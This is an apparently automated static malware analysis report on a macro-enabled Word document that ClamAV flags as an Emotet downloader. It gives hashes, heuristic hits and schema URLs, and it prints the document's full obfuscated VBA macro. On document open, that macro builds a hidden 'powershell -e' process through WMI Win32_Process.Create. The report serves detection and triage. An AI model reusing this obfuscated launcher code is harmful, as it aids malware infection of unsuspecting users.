Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3a67e274a00b6152…

MALICIOUS

Office (OOXML)

123.1 KB Created: 2020-01-30 19:28:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-31
MD5: b11993f78b351a3fa848891b3a6b27f1 SHA-1: b4a8c036f4f32c565399adb4735201fb3c51255b SHA-256: 3a67e274a00b615226449e7451a58b641a9d81e1cca72326b6c27fe68ea849c5
232 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7570795-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7570795-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Bmyyickwqttw = GetObject(Jisqqonknfb)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5458 bytes
SHA-256: d888e396c8ec4a67d985161a5f1616a87907da1a2a4f0ec970a26a665e3bef07
Detection
ClamAV: No threats found
Obfuscation or payload: likely
41 of 79 identifiers look randomly generated (e.g. 'Zzvljqdpvnrpl') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kcoxkmpqlq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   iewrf = 604
sd = Trim _
(72)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(683)
fe = Trim(Meuciqcuc)
vfd = Trim("{Polic}")
nxss = Trim _
(602)
Yenigywkzulul.Hkmtfcmatimed
End Sub


Attribute VB_Name = "Rsprihpidkel"
Attribute VB_Base = "0{F7173A61-12D0-459A-985F-C57FE806E46A}{C30A8FCA-9BFE-490C-A85E-7845DAC9AC67}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ouhjbjfvjntzp"
Attribute VB_Base = "0{BE31BDDC-3B8E-4285-92EE-502A328301C3}{1C3D611C-0ACA-423E-B342-E8A5243DCEE1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Tdpecuyolt()
Debug.Print "Operaion" + NS + "S"
End Sub

Attribute VB_Name = "Yenigywkzulul"
Function Hkmtfcmatimed()
   iewrf = 459
sd = Trim _
(482)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(683)
fe = Trim(Jbubkgljmavm)
vfd = Trim("{Polic}")
nxss = Trim _
(455)
Kjipkhymdlfx = "==/e3n//3^w==/e3n//3^==/e3n//3^==" + "/e3n//3^i==/e3n//3^==/e3n//3^" + "nmg==/e3n//3^mt==/e3n//3^==/e3n//3^" + ChrW(Int(wdKeyS)) + "==/e3n//3^:w==/e3n//3^in==" + "/e3n//3^==/e3n//3^3==/e3n//3^2_" + Rsprihpidkel.Sutwfasqrs + "ro==/e3n//3^ce==/e3n" + "//3^==/e3n//3^s==/e3n//3^s"
   iewrf = 724
sd = Trim _
(544)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(454)
fe = Trim(Dlhwwmbg)
vfd = Trim("{Polic}")
nxss = Trim _
(419)
Jisqqonknfb = Fyzqrdbztpo(Kjipkhymdlfx)
   iewrf = 740
sd = Trim _
(922)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(640)
fe = Trim(Wmyoixkfwxkw)
vfd = Trim("{Polic}")
nxss = Trim _
(576)
Set Bmyyickwqttw = GetObject(Jisqqonknfb)
   iewrf = 908
sd = Trim _
(623)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(417)
fe = Trim(Tpttvpedy)
vfd = Trim("{Polic}")
nxss = Trim _
(803)
Txohawfvy = Rsprihpidkel.Eqbvdrdgxhssn.Tag
   iewrf = 835
sd = Trim _
(513)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(889)
fe = Trim(Vclekvhy)
vfd = Trim("{Polic}")
nxss = Trim _
(413)
Lvdwzermbvi = Jisqqonknfb + ChrW(Int(wdKeyS)) + Rsprihpidkel.Lsqkaesacwbnb.Tag + Txohawfvy
   iewrf = 853
sd = Trim _
(343)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(513)
fe = Trim(Bpqpgadim)
vfd = Trim("{Polic}")
nxss = Trim _
(822)
Tbxoqpwnvp = Lvdwzermbvi + Rsprihpidkel.Sutwfasqrs
   iewrf = 44
sd = Trim _
(30)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(195)
fe = Trim(Tobytojj)
vfd = Trim("{Polic}")
nxss = Trim _
(834)
Call Bmyyickwqttw. _
Create(Yazlhuid, Fcsxomhtk, Mneajivbxll(Tbxoqpwnvp), Lunnaeqr, Pndebljy, Cdrsgyxdvdyt)
   iewrf = 478
sd = Trim _
(41)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(81)
fe = Trim(Qyajjagjmydh)
vfd = Trim("{Polic}")
nxss = Trim _
(818)
End Function
Function Mneajivbxll(Qlgppbfmrf)
   iewrf = 824
sd = Trim _
(595)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(152)
fe = Trim(Vxqsphpez)
vfd = Trim("{Polic}")
nxss = Trim _
(234)
Set Mneajivbxll = GetObject(Qlgppbfmrf)
   iewrf = 302
sd = Trim _
(154)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(738)
fe = Trim(Zzvljqdpvnrpl)
vfd = Trim("{Polic}")
nxss = Trim _
(939)
Mneajivbxll. _
showwindow = Kcqkxqoybfqoo + Axuflbhduhc
   iewrf = 403
sd = Trim _
(984)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(871)
fe = Trim(Kuycqzaj)
vfd = Trim("{Polic}")
nxss = Trim _
(727)
End Function
Function Fyzqrdbztpo(Tzppvqnsfqphb)
   iewrf = 304
sd = Trim _
(242)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(225)
fe = Trim(Jzfqvmpkgn)
vfd = Trim("{Polic}")
nxss = Trim _
(488)
Fyzqrdbztpo = Join(Split(Tzppvqnsfqphb, "==/e3n//3^"), "" + N)
   iewrf = 414
sd = Trim _
(306)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(443)
fe = Trim(Fpgydyxtmkqrn)
vfd = Trim("{Polic}")
nxss = Trim _
(489)
End Function
Function Yazlhuid()
   iewrf = 563
sd = Trim _
(693)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(49)
fe = Trim(Xsbippno)
vfd = Trim("{Polic}")
nxss = Trim _
(546)
Dhzlowkjjj = ChrW(Int(wdKeyP))
   iewrf = 236
sd = Trim _
(866)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(642)
fe = Trim(Wtnnhmctsy)
vfd = Trim("{Polic}")
nxss = Trim _
(570)
Uwtxwlgrt = Dhzlowkjjj + Rsprihpidkel.Avffmghyjzl.ControlTipText + "-e "
   iewrf = 679
sd = Trim _
(100)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(67)
fe = Trim(Xysrfvrh)
vfd = Trim("{Polic}")
nxss = Trim _
(945)
dse = Rsprihpidkel.Ufioaqsdqyw.ControlTipText
   iewrf = 669
sd = Trim _
(8)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(127)
fe = Trim(Awpcaoddkgbeh)
vfd = Trim("{Polic}")
nxss = Trim _
(689)
Yazlhuid = Fyzqrdbztpo(Uwtxwlgrt + StrReverse(dse))
   iewrf = 913
sd = Trim _
(904)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(800)
fe = Trim(Jqvsiksdidvxd)
vfd = Trim("{Polic}")
nxss = Trim _
(162)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 41472 bytes
SHA-256: b4b013f3434230add1b36e9c823000a91fc5bef6efb930904b49fe50fb6f873e
Detection
ClamAV: Doc.Downloader.Emotet-7570795-0
Obfuscation or payload: unlikely